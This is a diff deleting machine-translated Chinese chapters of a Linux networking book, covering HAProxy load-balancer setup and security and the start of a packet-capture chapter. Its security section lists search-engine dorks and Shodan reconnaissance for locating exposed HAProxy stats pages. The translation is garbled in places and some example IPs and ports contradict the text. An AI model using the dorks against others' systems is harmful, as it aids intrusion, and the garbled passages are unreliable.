在某些环境中,这仍然可以在性能方面工作,但如果不行,请考虑将策略路由移动到服务器本身。 - -要在 Linux 主机上实现相同的策略路由,请遵循以下步骤: - -1. 首先,添加路由到`table 5`: - - ```sh - ip route add table 5 0.0.0.0/0 via 10.10.10.5 - ``` - -2. 定义匹配负载均衡器(源`10.10.10.0/24`,源端口`443`)的流量: - - ```sh - iptables -t mangle -A PREROUTING -i eth0 -p tcp -m tcp --sport 443 -s 10.10.10.0/24 -j MARK --set-mark 2 - iptables -t mangle -A PREROUTING -i eth0 -p tcp -m tcp --sport 80 -s 10.10.10.0/24 -j MARK --set-mark 2 - ``` - -3. 添加查找,如下: - - ```sh - ip rule add fwmark 2 lookup 5 - ``` - -这种方法增加的复杂性和 CPU 开销超过了大多数人的预期。 此外,对于“网络路由问题”,支持人员更有可能在路由器和交换机上开始任何未来的故障诊断,而不是查看主机配置。 由于这些原因,我们经常看到将策略路由放在路由器或第三层交换机上。 - -使用管理界面可以更优雅地解决这个问题。 另外,如果管理接口还没有在组织中广泛使用,这种方法很好地将它们引入环境中。 在这种方法中,我们将目标主机配置为其默认网关指向负载均衡器。 然后,我们向每个主机添加一个管理 VLAN 接口,就像在该 VLAN 中直接添加一些管理服务一样。 此外,我们还可以根据需要向 SNMP 服务器、日志服务器或其他内部或互联网目的地添加特定的路由: - -![Figure 10.9 – Adding a management VLAN ](img/B16336_10_009.jpg) - -图 10.9 -添加管理 VLAN - -不用说,这就是通常采用的方法。 它不仅是最简单的方法,而且还向体系结构中添加了急需的管理 VLAN。 - -在介绍了该理论的大部分之后,让我们继续构建几个不同的负载平衡场景。 - -# 搭建 HAProxy NAT/proxy 负载均衡器 - -首先,我们可能不希望使用示例主机进行此操作,因此我们必须添加一个新的网络适配器来演示 NAT/代理(L4/L7)负载均衡器。 - -如果您的示例主机是一个虚拟机,那么构建一个新主机应该很快。 或者,更好的是,克隆您的现有 VM 并使用它。 或者,您可以下载一个**开放虚拟化设备**(**卵子)文件从 HAProxy GitHub 页面([https://github.com/haproxytech/vmware-haproxy 下载)并导入到您的测试环境。 如果您采用这种方法,请跳过这里显示的安装说明,并在安装后在`haproxy –v`启动 HAProxy 配置。](https://github.com/haproxytech/vmware-haproxy#download)** - -或者,如果您选择不与我们的示例配置“一起构建”,那么无论如何您仍然可以“跟随”。 虽然为负载均衡器构建管道可能需要一些工作,但实际的配置非常简单,向您介绍该配置是我们这里的目标。 您当然可以实现这个目标,而不需要构建支持虚拟或物理基础设施。 - -如果将其安装在一个新的 Linux 主机上,请确保有两个网络适配器(一个面向客户机,一个面向服务器)。 和往常一样,我们将从安装目标应用开始: - -```sh -$ sudo apt-get install haproxy -``` - -*<如果您正在使用基于 ova 的安装,请从这里开始:>* - -您可以通过使用`haproxy`应用本身检查版本号来验证安装是否工作: - -```sh -$ haproxy –v -HA-Proxy version 2.0.13-2ubuntu0.1 2020/09/08 - https://haproxy.org/ -``` - -请注意,任何比这里显示的版本更新的版本都应该可以正常工作。 - -安装了这个包之后,让我们看看我们的示例网络构建。 - -## 在开始配置网卡、寻址和路由之前 - -欢迎你使用你选择任何 IP 寻址,但在我们的示例中,前端**虚拟 IP【显示】(****VIP)地址将`192.168.122.21/24`(注意,这是不同的接口 IP 主机), 而负载均衡器的后端地址将是`192.168.124.1/24`——这将是目标主机的默认网关。 我们的目标 web 服务器将拥有**RIP**的`192.168.124.10`和`192.168.124.20`地址。** - -我们最终的构建将是这样的: - -![Figure 10.10 – Load balancer example build ](img/B16336_10_010.jpg) - -图 10.10 -负载均衡器示例构建 - -在开始构建负载平衡器之前,现在是在 Linux 中调整一些设置的最佳时机(其中一些设置需要重新加载系统)。 - -## 在开始配置-性能调优之前 - -一个基本的“outof the box”Linux 安装必须对各种设置做几个假设,尽管其中许多会导致性能或安全性方面的妥协。 对于负载平衡器,有几个 Linux 设置需要解决。 幸运的是,HAProxy 安装为我们做了很多工作(如果我们安装了许可版本)。 安装完成后,编辑`/etc/sysctl.d/30-hapee-2.2.conf`文件并取消对以下代码中的行的注释(在本例中,我们正在安装 Community Edition,因此创建这个文件并取消对行的注释)。 与所有基本系统设置一样,您可以在进行时测试这些设置,一次修改一个或在逻辑分组中进行修改。 此外,正如预期的那样,这可能是一个迭代过程,您可能在一个设置和另一个设置之间来回切换。 正如在文件注释中指出的,并不是所有这些值都是推荐的,甚至在大多数情况下。 - -这些设置及其描述都可以在[https://www.haproxy.com/documentation/hapee/2-2r1/getting-started/system-tuning/](https://www.haproxy.com/documentation/hapee/2-2r1/getting-started/system-tuning/)找到。 - -当运行大量并发连接时,限制每个套接字的默认接收/发送缓冲区,以限制内存使用。 这些值以字节为单位,分别表示最小值、默认值和最大值。 默认值为`4096`、`87380`和`4194304`: - -```sh - # net.ipv4.tcp_rmem = 4096 16060 262144 - # net.ipv4.tcp_wmem = 4096 16384 262144 -``` - -允许早期重用相同的源端口用于输出连接。 如果每秒有几百个连接,这是必需的。 默认值如下: - -```sh - # net.ipv4.tcp_tw_reuse = 1 -``` - -扩展 TCP 连接的源端口范围。 这限制了早期端口重用,并利用了`64000`源端口。 默认值为`32768`和`61000`: - -```sh - # net.ipv4.ip_local_port_range = 1024 65023 -``` - -增加 TCP SYN backlog 的大小。 这通常需要支持非常高的连接速率,并抵御 SYN flood 攻击。 设置过高会延迟 SYN cookie 的使用。 默认为`1024`: - -```sh - # net.ipv4.tcp_max_syn_backlog = 60000 -``` - -设置`tcp_fin_wait`状态的超时时间,以秒为单位。 降低它会加速死连接的释放,尽管它会在 25-30 秒内导致问题。 如果可能的话,最好不要改变它。 默认为`60`: - -```sh - # net.ipv4.tcp_fin_timeout = 30 -``` - -限制发送 SYN-ACK 重试次数。 这个值是 SYN 洪水的直接放大因子,所以保持它合理的低值是很重要的。 然而,将其设置得太低将会阻止有损网络上的客户端连接。 - -使用`3`作为缺省值可以获得良好的效果(总共 4 个 SYN- ack),而在 SYN flood 攻击时将其降低到`1`可以节省大量带宽。 默认为`5`: - -```sh - # net.ipv4.tcp_synack_retries = 3 -``` - -将其设置为`1`,允许本地进程绑定到系统上不存在的 IP。 这是共享 VRRP 地址的典型情况,您希望主和备份同时启动,即使 IP 不存在。 始终保持`1`。 默认为`0`: - -```sh - # net.ipv4.ip_nonlocal_bind = 1 -``` - -以下是所有系统 SYN 积压的上限。 至少要与`tcp_max_syn_backlog`一样高; 否则,客户端可能会在高速连接时遇到困难或受到 SYN 攻击。 默认为`128`: - -```sh - # net.core.somaxconn = 60000 -``` - -同样,请注意,如果您进行了任何这些更改,您可能会在稍后返回此文件以撤销或调整您的设置。 完成所有这些之后(至少现在),让我们配置我们的负载均衡器,以便它能与我们的两个目标 web 服务器一起工作。 - -## 负载均衡 TCP 服务- web 服务 - -负载均衡服务的配置非常简单。 让我们从两个 web 服务器主机之间的负载平衡开始。 - -让我们编辑`/etc/haproxy/haproxy.cfg`文件。 我们将创建一个`frontend`节来定义面向客户端的服务,以及一个`backend`节来定义两个下游 web 服务器: - -```sh -frontend http_front - bind *:80 - stats uri /haproxy?stats - default_backend http_back -backend http_back - balance roundrobin - server WEBSRV01 192.168.124.20:80 check fall 3 rise 2 - server WEBSRV02 192.168.124.21:80 check fall 3 rise 2 -``` - -请注意以下几点: - -* 前端部分中有一个`default backend`行,它告诉前端需要绑定哪些服务。 -* 前端有一个`bind`语句,该语句允许负载在该接口上的所有 ip 上进行平衡。 因此,在本例中,如果我们只使用一个 VIP 进行负载平衡,我们可以在负载均衡器的物理 IP 上进行此操作。 -* 后端以`roundrobin`作为负载均衡算法。 这意味着当用户连接时,他们将被定向到 server1,然后是 server2,然后是 server1,以此类推。 -* 参数`check`告诉服务检查目标服务器以确保它处于启动状态。 当负载平衡 TCP 服务作为一个简单的 TCP“连接”达到目的时,这就简单得多,至少可以验证主机和服务正在运行。 -* `fall 3`在连续三次检查失败后将服务标记为离线,而`rise 2`在两次成功检查后将其标记为在线。 无论使用哪种检查类型,都可以使用这些上升/下降关键字。 - -我们还希望在这个文件中有一个全局部分,以便我们可以设置一些服务器参数和默认值: - -```sh -global - maxconn 20000 - log /dev/log local0 - user haproxy - group haproxy - stats socket /run/haproxy/admin.sock user haproxy group haproxy mode 660 level admin - nbproc 2 - nbthread 4 - timeout http-request - timeout http-keep-alive - timeout queue - timeout client-fin - timeout server-fin - ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256 - ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets -``` - -注意,我们在本节中定义了用户和组。 一路回到[*第三章*](03.html#_idTextAnchor053),*使用 Linux 和 Linux 网络诊断工具*,我们提到你需要 root 特权开始一个监听端口,如果端口数量小于`1024`。 对于 HAProxy 来说,这意味着它需要根权限来启动服务。 全局部分中的用户和组指令允许服务“降级”其权限。 这一点很重要,因为如果服务遭到破坏,较低的权限将使攻击者的选择更少,可能会增加攻击所需的时间,并有望增加他们被捕获的可能性。 - -`log`行非常简单——它告诉`haproxy`将其日志发送到哪里。 如果您有任何需要用负载平衡解决的问题,这是一个很好的开始,然后是目标服务日志。 - -`stats`指令告诉`haproxy`在哪里存储它的各种性能统计数据。 - -`nbproc`和`nbpthread`指令告诉 HAProxy 服务有多少处理器和线程可供使用。 这些数字应该至少比可用进程少一个,以便在发生拒绝服务攻击时,整个负载均衡器平台不会瘫痪。 - -各种超时参数的存在是为了防止协议级别的拒绝服务攻击。 在这些情况下,攻击者发送初始请求,但之后从不继续会话——他们只是不断地发送请求,“消耗”负载平衡器资源,直到内存被完全消耗。 这些超时限制了负载均衡器保持任何一个会话存活的时间。 下表简要描述了我们在这里讨论的每个 keep-alive 参数的: - -![](img/B16336_10_Table_02.jpg) - -另外,SSL 指令是非常不言自明的: - -* `ssl-default-bind-ciphers`列出了在任何 TLS 会话中允许的密码,如果负载平衡器正在终止或启动一个会话(也就是说,如果您的会话是在代理模式或 7 层模式)。 -* `ssl-default-bind-options`设置了支持的 TLS 版本的下限。 在撰写本文时,不再推荐所有 SSL 版本以及 TLS 1.0 版本。 SSL 尤其容易受到多种攻击。 由于所有现代浏览器都能够协商到 TLS 版本 3,大多数环境选择支持 TLS 版本 1.2 或更高版本(如示例所示)。 - -现在,从一个客户机机器,您可以浏览到 HAProxy 主机,您将看到连接到其中一个后端。 如果您从不同的浏览器再次尝试,您应该连接到第二个浏览器。 - -让我们进一步扩展,并添加对 HTTPS 的支持(在`443/tcp`上)。 我们将添加一个 IP 到前端接口并绑定到它。 我们将平衡算法改为最小连接数。 最后,我们将更改前端和后端名称,以便它们包含端口号。 这允许我们为`443/tcp`添加额外的配置部分。 如果我们只监控第 4 层 TCP 会话,这个流量可以很好地负载平衡; 无需解密: - -```sh -frontend http_front-80 - bind 192.168.122.21:80 - stats uri /haproxy?stats - default_backend http_back-80 -frontend http_front-443 - bind 192.168.122.21:443 - stats uri /haproxy?stats - default_backend http_back-443 -backend http_back-80 - balance leastconn - server WEBSRV01 192.168.124.20:80 check fall 3 rise 2 - server WEBSRV02 192.168.124.21:80 check fall 3 rise 2 -backend http_back-443 - balance leastconn - server WEBSRV01 192.168.124.20:443 check fall 3 rise 2 - server WEBSRV02 192.168.124.21:443 check fall 3 rise 2 -``` - -注意,我们仍然只是检查 TCP 端口是否为“服务器健康”检查而打开。 这通常被称为第 3 层健康检查。 我们将端口`80`和`443`放入两个部分——这些可以合并为前端节的一个部分,但通常最好将它们分开,以便分别跟踪它们。 这样做的副作用是,两个后端部分的计数彼此不知道,但这通常不是问题,因为现在整个 HTTP 站点通常只是重定向到 HTTPS 站点。 - -另一种表达方式是在`listen`节上,而不是在前端和后端节上。 这种方法将前端和后端部分组合成一个单独的节,并添加一个“健康检查”: - -```sh -listen webserver 192.168.122.21:80 - mode http - option httpchk HEAD / HTTP/1.0 - server websrv01 192.168.124.20:443 check fall 3 rise 2 - server websrv02 192.168.124.21:443 check fall 3 rise 2 -``` - -这个默认的 HTTP 健康检查只是打开默认页面,并通过检查短语`HTTP/1.0`的头部来确保返回一些内容。 如果在返回的页面中没有看到,则视为检查失败。 您可以通过检查站点上的任何 URI 并在该页面上查找任意文本字符串来展开此操作。 这通常被称为“第 7 层”健康检查,因为它正在检查应用。 但是,确保检查简单——如果应用稍有改变,页面上返回的文本就可能改变到足以导致健康检查失败,并意外地将整个集群标记为脱机! - -## 建立持久连接 - -让我们通过使用服务器名称的变体将 cookie 注入到 HTTP 会话中。 我们还对 HTTP 服务进行基本检查,而不仅仅是开放端口。 我们将回到我们的“前端/后端”配置文件的方法: - -```sh -backend http_back-80 - mode http - balance leastconn - cookie SERVERUSED insert indirect nocache - option httpchk HEAD / - server WEBSRV01 192.168.124.20:80 cookie WS01 check fall 3 rise 2 - server WEBSRV02 192.168.124.21:80 cookie WS02 check fall 3 rise 2 -``` - -确保您没有使用 IP 地址或服务器的真实名称作为您的 cookie 值。 如果使用了实服务器的名称,攻击者可以通过在 DNS 中查找该服务器名称,或者在拥有历史 DNS 条目数据库(例如`dnsdumpster.com`)的站点中查找该服务器名称来访问该服务器。 服务器名也可以用来从证书透明度日志中获取关于目标的情报(如我们在[*第八章*](08.html#_idTextAnchor133),*Linux 上的证书服务*中讨论的)。 最后,如果在 cookie 值中使用了服务器 IP 地址,那么该信息将为攻击者提供一些关于您的内部网络架构的信息,并且如果公开的网络是可公开路由的,那么它可能会给攻击者提供下一个目标! - -## 实现注意事项 - -现在我们已经介绍了一个基本的配置,一个非常常见的步骤是在每个服务器上有一个“占位符”网站,每个网站都标识为与服务器匹配。 使用“1-2-3”、“a-b-c”或“红-绿-蓝”都是常见的方法,它们仅足以区分每个服务器会话和下一个会话。 现在,使用不同的浏览器或不同的工作站,多次浏览共享地址,以确保定向到由规则集定义的正确后端服务器。 - -当然,这是一个伟大的方式,以确保事情正在你逐步建立您的配置,但它也是一个伟大的故障诊断机制来帮助您决定在简单的事情,如“这是仍在更新后吗?”或者“我知道帮助台票说, 但真的有问题需要解决吗?”几个月甚至几年之后。 像这样的测试页面对于将来的测试或故障排除来说是一件很好的事情。 - -## HTTPS 前端 - -在过去的日子里,服务器架构师乐于设置负载平衡器来卸载 HTTPS 处理,将加密/解密处理从服务器转移到负载平衡器。 这将保存在服务器 CPU 上,并且还将实现和维护证书的责任转移到管理负载均衡器的人身上。 但这些原因大多不再有效,有以下几个原因: - -* 如果服务器和负载均衡器都是虚拟的(在大多数情况下,这是推荐的),这只是在相同硬件上的不同 vm 之间移动处理—没有净收益。 -* 现代处理器在执行加密和解密方面效率更高——算法是在考虑 CPU 性能的情况下编写的。 实际上,根据算法的不同,加密/解密操作可能是本地的 CPU,这是一个巨大的性能增益。 -* 通配符证书的使用使得整个“证书管理”环节更加简单。 - -然而,我们仍然做 HTTPS 前端负载平衡器,通常得到可靠会话持久性使用 cookie,您不能添加一个饼干一个 HTTPS 响应(或读一个在下一个请求),除非你能读和写数据流,这意味着,在某种程度上,这是解密。 - -请记住,在这个配置中,每个 TLS 会话都将在前端使用有效的证书终止。 由于这现在是一个代理设置(第 7 层负载平衡),后端会话是一个单独的 HTTP 或 HTTPS 会话。 在过去,后端通常是 HTTP(主要是为了节省 CPU 资源),但在现代,这将被正确地视为安全暴露,特别是如果您在金融、医疗保健或政府部门(或任何承载敏感信息的部门)。 因此,在现代版本中,后端几乎总是 HTTPS,通常在目标 web 服务器上使用相同的证书。 - -再一次,这个设置的缺点是,自实际客户目标 web 服务器负载均衡器,`X-Forwarded-*`HTTPS 头将丢失,和实际的客户机的 IP 地址将不会提供给 web 服务器(或其日志)。 - -我们如何配置这个设置? 首先,我们必须获得站点证书和私钥,无论它是一个“命名证书”还是一个通配符。 现在,通过简单地使用`cat`命令将它们连接在一起,将它们组合成一个文件(不是作为`pfx`文件,而是作为一个链): - -```sh -cat sitename.com.crt sitename.com.key | sudo tee /etc/ssl/sitename.com/sitename.com.pem -``` - -注意,我们在命令的第二部分中使用了`sudo`,将命令权限赋予`/etc/ssl/sitename.com`目录。 另外,请注意`tee`命令,它将命令的输出回显到屏幕上。 它还将输出定向到所需的位置。 - -现在,我们可以将证书绑定到前端文件节中的地址: - -```sh -frontend http front-443 - bind 192.168.122.21:443 ssl crt /etc/ssl/sitename.com/sitename.com.pem - redirect scheme https if !{ ssl_fc } - mode http - default_backend back-443 -backend back-443 - mode http - balance leastconn - option forwardfor - option httpchk HEAD / HTTP/1.1\r\nHost:localhost - server web01 192.168.124.20:443 cookie WS01 check fall 3 rise 2 - server web02 192.168.124.21:443 cookie WS02 check fall 3 rise 2 - http-request add-header X-Forwarded-Proto https -``` - -注意这个配置中的: - -* 我们现在可以使用 cookie 来实现会话持久性(在后端部分),这通常是此配置中的主要目标。 -* 我们使用前端的`redirect scheme`行来指示代理在后端使用 SSL/TLS。 -* `forwardfor`关键字将实际的客户端 IP 添加到后端请求的`X-Forwarded-For`HTTP 报头字段中。 请注意,这取决于 web 服务器解析并适当地记录它,以便您以后可以使用它。 - -根据应用和浏览器的不同,你也可以在`X-Client-IP`报头字段中添加客户端 IP 到后端 HTTP 请求: - -```sh -http-request set-header X-Client-IP %[req.hdr_ip(X-Forwarded-For)] -``` - -请注意 - -这种方法的结果好坏参半。 - -但是请注意,无论您在 HTTP 报头中添加或更改了什么,目标服务器“看到”的实际客户机 IP 仍然是负载均衡器的后端地址——这些更改或添加的报头值只是 HTTPS 请求中的字段。 如果您打算使用这些头值进行日志记录、故障排除或监视,则由 web 服务器解析它们并适当地记录它们。 - -以上就是我们的示例配置——我们已经介绍了基于 nat 和基于代理的负载平衡,以及 HTTP 和 HTTPS 流量的会话持久性。 在所有的理论之后,实际配置负载均衡器是简单的-工作都是在设计和设置支持的网络基础设施。 在结束本章之前,让我们简要地讨论一下安全性。 - -# 关于负载均衡器安全性的最后一个注意事项 - -到目前为止,我们已经讨论了如果攻击者能够获得服务器名称或 IP 地址,他们如何能够获得洞察或访问内部网络。 我们讨论了恶意参与者如何使用本地平衡器配置中用于持久设置的 cookie 所公开的信息来获取该信息。 攻击者还能如何获得关于我们的目标服务器的信息(它们位于负载平衡器后面,应该被隐藏)? - -证书透明性信息是获得当前或旧服务器名的另一种常用方法,正如我们在[*第八章*](08.html#_idTextAnchor133),*Linux 上的证书服务*中讨论的。 即使旧的服务器名不再使用,它们过去的证书记录也是不朽的。 - -Internet Archive 网站[https://archive.org](https://archive.org)定期对网站进行“快照”,并允许对其进行搜索和查看,允许人们“回到过去”并查看基础设施的旧版本。 如果在你的旧 DNS 或旧代码的 web 服务器中披露了旧服务器,它们很可能在这个网站上可用。 - -DNS 存档站点(如`dnsdumpster`)使用数据包分析等被动方法收集 DNS 信息,并通过 web 或 API 接口呈现出来。 这使得攻击者可以找到较旧的 IP 地址和组织可能使用过的较旧(或当前)主机名,这有时允许攻击者在删除 DNS 条目时仍然通过 IP 访问这些服务。 或者,它们可以通过主机名单独访问它们,即使它们位于负载平衡器后面。 - -*谷歌 Dorks*是获得此类信息的另一种方法——这些术语用于查找可以在搜索引擎中使用的特定信息(不仅仅是谷歌)。 通常,像`inurl:targetdomain.com`这样简单的搜索词都会找到目标组织宁愿隐藏的主机名。 一些谷歌呆子是具体的`haproxy`包括以下: - -```sh -intitle:"Statistics Report for HAProxy" + "statistics report for pid" site:www.targetdomain.com -inurl:haproxy-status site:target.domain.com -``` - -注意,在我们说`site:`的地方,您也可以指定`inurl:`。 在这种情况下,你也可以将搜索词缩短为域名而不是完整的网站名称。 - -像`shodan.io`这样的站点还会索引服务器的历史版本,重点关注服务器 IP 地址、主机名、开放端口以及在这些端口上运行的服务。 Shodan 的独特之处在于它能很好地识别在开放端口上运行的服务。 当然,虽然他们并不是 100%的成功(认为这是别人的 NMAP 结果),当他们识别服务,张贴了“证据”,如果您使用的是 Shodan 进行侦察,你可以用它来验证如何准确测定。 Shodan 有一个网络界面和一个全面的 API。 使用此服务,您经常会发现按组织或地理区域划分的安全不适当的负载平衡器。 - -关于搜索引擎的最后一个评论:如果谷歌(或任何搜索引擎)可以直接到达您的实际服务器,那么这些内容将被索引,使其易于搜索。 如果站点可能有身份验证绕过问题,那么“受身份验证保护”的内容也将被编入索引,任何人都可以使用该引擎。 - -也就是说,使用我们刚才讨论的工具定期查找周边基础设施上的问题总是一个好主意。 - -另一个需要考虑的重要安全问题是管理访问。 重要的是要限制对负载均衡器(即 SSH)的管理接口的访问,将其限制为所有接口上允许的主机和子网。 记住,如果负载均衡器与防火墙并行,整个互联网都可以访问它,即使不是,内部网络上的每个人都可以访问它。 您将希望将访问权限减少到仅受信任的管理主机和子网。 如果你需要一个参考,记得我们覆盖在[*第四章*](04.html#_idTextAnchor071),*Linux 防火墙*和[【显示】第五章](05.html#_idTextAnchor085),*Linux 安全标准与现实生活中的例子【病人】。* - -# 总结 - -希望本章已经很好地介绍了负载均衡器、如何部署它们,以及您可能选择围绕它们做出各种设计和实现决策的原因。 - -如果您使用新的虚拟机来遵循本章中的示例,我们将不需要在后续的章节中使用它们,但如果您需要一个示例供以后参考,您可能希望保留 HAProxy 虚拟机。 如果你遵循本章的例子只是阅读它们,那么本章的例子仍然对你有用。 不管怎样,当你阅读这一章时,我希望你能在心里明白负载平衡器如何适合你的组织内部或周边架构。 - -完成本章后,您应该具备在任何组织中构建负载平衡器所需的技能。 这些技巧在 HAProxy 的(免费)版本中讨论过,但是设计和实现方面的考虑几乎都可以在任何供应商的平台上直接使用,唯一的变化是配置选项或菜单中的措辞和语法。 在下一章中,我们将看看基于 Linux 平台的企业路由实现。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 什么时候选择使用**直接服务器返回**(**DSR**)负载均衡器? -2. 为什么要选择使用基于代理的负载均衡器,而不是纯基于 nat 的解决方案? - -# 进一步阅读 - -看看下面的链接,了解更多关于本章涉及的主题: - -* HAProxy 文档:[http://www.haproxy.org/#docs](http://www.haproxy.org/#docs) -* HAProxy 文档(商业版本):[https://www.haproxy.com/documentation/hapee/2-2r1/getting-started/](https://www.haproxy.com/documentation/hapee/2-2r1/getting-started/) -* HAProxy GitHub:[https://github.com/haproxytech](https://github.com/haproxytech) -* HAProxy GitHub, OVA VM 下载:[https://github.com/haproxytech/vmware-haproxy#download](https://github.com/haproxytech/vmware-haproxy#download) -* HAProxy 社区与企业的差异:[https://www.haproxy.com/products/community-vs-enterprise-edition/](https://www.haproxy.com/products/community-vs-enterprise-edition/) -* 更多关于负载均衡算法的介绍:[http://cbonte.github.io/haproxy-dconv/2.4/intro.html#3.3.5](http://cbonte.github.io/haproxy-dconv/2.4/intro.html#3.3.5) \ No newline at end of file diff --git a/docs/linux-net-prof/11.md b/docs/linux-net-prof/11.md deleted file mode 100644 index c0ea15ef..00000000 --- a/docs/linux-net-prof/11.md +++ /dev/null @@ -1,538 +0,0 @@ -# 十一、Linux 上的抓包分析 - -在本章中,我们将讨论使用 Linux 进行包捕获。 在许多方面,数据包是数据中心中最接近*真相*的东西; 经常被引用的谚语是*数据包不会说谎*。 无论主机或防火墙上存在什么策略或复杂的配置,主机和应用数据包总是会反映发生了什么。 这使得数据包捕获,更重要的是,对这些数据包的分析成为网络管理员工具箱中解决问题和故障排除的关键技能。 - -特别地,我们将涵盖以下主题: - -* 数据包捕获介绍-正确的地方去看 -* 捕获时的性能考虑 -* 捕捉工具 -* 过滤捕获流量 -* 故障排除应用-捕获一个 VoIP 电话呼叫 - -让我们开始吧! - -# 技术要求 - -在本章中,我们将捕获数据包。 初始设置和包捕获使用一个您可能无法访问的物理交换机。 然而,一旦我们开始查看包本身,所有的捕获文件都可以下载。 由于本章的大部分内容是关于分析和解释捕获的数据包,我们现有的 Linux 主机应该可以很好地完成这些工作,而无需进行不必要的修改。 这也是一种很好的方法,可以确保当你遵循本章中的例子时,你的显示符合我们所描述的。 - -尽管如此,还是可以将包捕获构建到您的实验室中,或者更好地构建到您的工作环境中。 它是一个非常有价值的工具,用于故障排除,或者只是为了更好地理解我们每天使用的各种协议和应用! - -本章中引用的捕获文件可以在本书的 GitHub 库的`C11`文件夹中找到:[https://github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11](https://github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11)。 - -# 数据包捕获介绍-正确的地方看 - -在两台主机之间有多种方法截取和捕获数据包,并且在通信路径中的多个位置进行此操作。 让我们来讨论一些更受欢迎的选择。 - -## 从两端捕获 - -这肯定是最简单的选项,因为当一切正常时,会话两端的主机将接收或发送所有数据包。 不过,也有一些人对此持反对意见: - -* 你可能无法进入任何一端。 根据情况,其中一个端点主机可能根本不在您的组织中。 -* 即使有,您也可能没有对环境中的主机(或多个主机)的管理访问权。 特别是在企业环境中,通常会看到网络团队和/或安全团队可能没有对服务器的管理访问权(或任何访问权)。 -* 在大多数组织中,安装新的系统软件通常不是您可以随随便便做的事情。 对于任何可能影响工作站或服务器操作的事情,大多数公司都需要严格的变更控制程序。 -* 即使安装包捕获应用的变更请求得到批准,奇怪这样的应用可以是一个争论的焦点几个月或几年安装后,在服务器上的任何奇怪的问题可能是归咎于“奇怪的应用”,网络团队将在服务器上。 -* 如果您正在对一个问题进行故障排除,那么您可能无法从您可以访问的终端看到该问题。 例如,如果一些或所有的数据包没有到达服务器(或客户端),那么在问题站捕获可能无法帮助您解决问题—也就是说,除了确认这些数据包没有到达之外。 - -由于这些原因,通常首选在路径的某个中点捕获数据包。 一种流行的选择是将交换机端口配置为镜像或*监控*流量。 - -## 监控端口切换 - -一种常见的情况是,我们需要捕获数据包进出主机,但我们既不能访问主机,也不能中断服务,或者无法获得必要的权限来安装数据包捕获软件。 由于这些情况非常常见,交换机供应商已经实现了一些特性来帮助我们解决问题。 大多数交换机都具有*镜像*或*监控*进出端口的流量的设施。 这通常称为**交换端口分析器**(**SPAN**)配置。 从交换机,我们简单地配置我们正在监视的端口,我们是希望发送(Tx),接收(Rx),还是两个方向的流量,以及我们希望将数据发送到哪个端口。 - -例如,在一个 Cisco 交换机上,在这个配置中,我们正在监视`GigabitEthernet 1/0/1`端口(发送和接收),而我们的数据包捕获主机在`GigabitEthernet 1/0/5`端口: - -```sh -monitor session 1 source g1/0/1 both -monitor session 1 destination g1/0/5 -``` - -如您所见,这些是为`monitor session 1`定义的,这意味着大多数交换机一次支持多个监视器会话。 这可以扩大了监测整个 VLAN(所以源可能 VLAN 7)或发送数据包捕获到一个远程目的地,叫做**远程交换端口分析仪**(**RSPAN)的目的地。** - - **如果混合了防火墙或负载均衡器,那么要注意定义的源端口——例如,如果在 NAT 之前或之后捕获数据包,那么数据包捕获数据就会有很大差别。 - -您还可以在其他地方查找特定对话中的数据包? 网络设备是另一个流行的选择。 - -## 中间直连主机 - -在这种情况下,中间主机(如路由器、交换机或防火墙)可以捕获流量。 防火墙,特别是是非常方便的,因为在许多情况下,您可以捕获 NAT 之前和之后的流量。如果您要对定义良好的问题进行故障排除,这种方法非常有用。 但是,必须考虑到以下几点: - -* 网络设备通常具有有限的存储空间,因此您需要将包的总体容量保持在捕获设备的存储容量之内。 在一些设备上,您可以将您的捕获实时发送到远程目的地,以消除这个问题,但这也存在问题。 -* 无论哪种情况,数据包速率都应该很低。 在许多情况下,这些设备上的本地存储相对较慢,如果包速率很高,将包捕获实时发送到网络目的地可能会导致在捕获过程中丢失包。 -* 抓包会影响抓包设备的 CPU。 在考虑将数据包捕获添加到此设备的负载之前,请确保您的总体 CPU 利用率较低。 -* 如果您将捕获的数据包发送到远程目的地,请确保有足够的带宽来完成此操作—如果您超过了端口的带宽,您将在此等式的捕获端或发送端丢弃数据包。 -* 综上所述,在许多情况下,您需要在流中查找非常特定的包来排除问题,以便您可以创建一个*过滤器*来收集这些流量。 - -关于使用 Cisco 路由器作为*采集器*处理数据包的更完整的描述可以在这里找到:https://isc.sans.edu/forums/diary/Using+a+Cisco+Router+as+a +Remote+ collector +for+tcpdump+or+Wireshark/7609/。 - -其他平台的包捕获功能通常非常类似——它们创建一个定义感兴趣的流量的*列表*,然后启动捕获过程。 无论你的设备是什么,你的供应商会有这方面的记录,比我们在这里所能说明的更完整。 - -最后,我们来看看“纯粹主义”方法; 也就是说,使用网络水龙头。 - -## 网络点击 - -tap 是一种插入通信量的硬件设备,可以在任意一个方向或两个方向上进行全面监控。 因为它是传统的电子/硬件解决方案,没有对包容量吹毛求疵; 每一个方向的比特都被简单地电复制到侦听站。 然而,水龙头是要花钱的,需要你在现场。 你还必须断开有问题的以太网电缆,把水龙头在线上。 由于这些原因,水龙头仍然很方便,但经常不再使用。 - -一个典型的低端按键(`10`或`10/100`)是 Michael Ossmann 的以太网“飞镖”,可以在[https://greatscottgadgets.com/throwingstar/](https://greatscottgadgets.com/throwingstar/)找到。 下图显示了典型的低端(`10/100`)点击是如何操作的。 注意,有两种方法可以构建一个点击——如下图所示,你可以构建一个只有监听的点击,有两个端口,每个端口只“监听”一个方向的流量: - -![Figure 11.1 – Two tap ports, each in one direction ](img/B16336_11_001.jpg) - -图 11.1 -两个抽头端口,每个方向相同 - -你还可以使用更传统的水龙头,它可以在一个端口上从两个方向“听到”流量: - -![Figure 11.2 – One tap port sees all traffic (only pins) ](img/B16336_11_002.jpg) - -图 11.2 -一个插孔可以看到所有流量(只有引脚) - -这一切都工作到 1gb 以太网,在这一点上,信号丢失像这样的水龙头成为一个问题。 10 Gbps 甚至更复杂,因为实际的第一层信令不再匹配标准以太网。 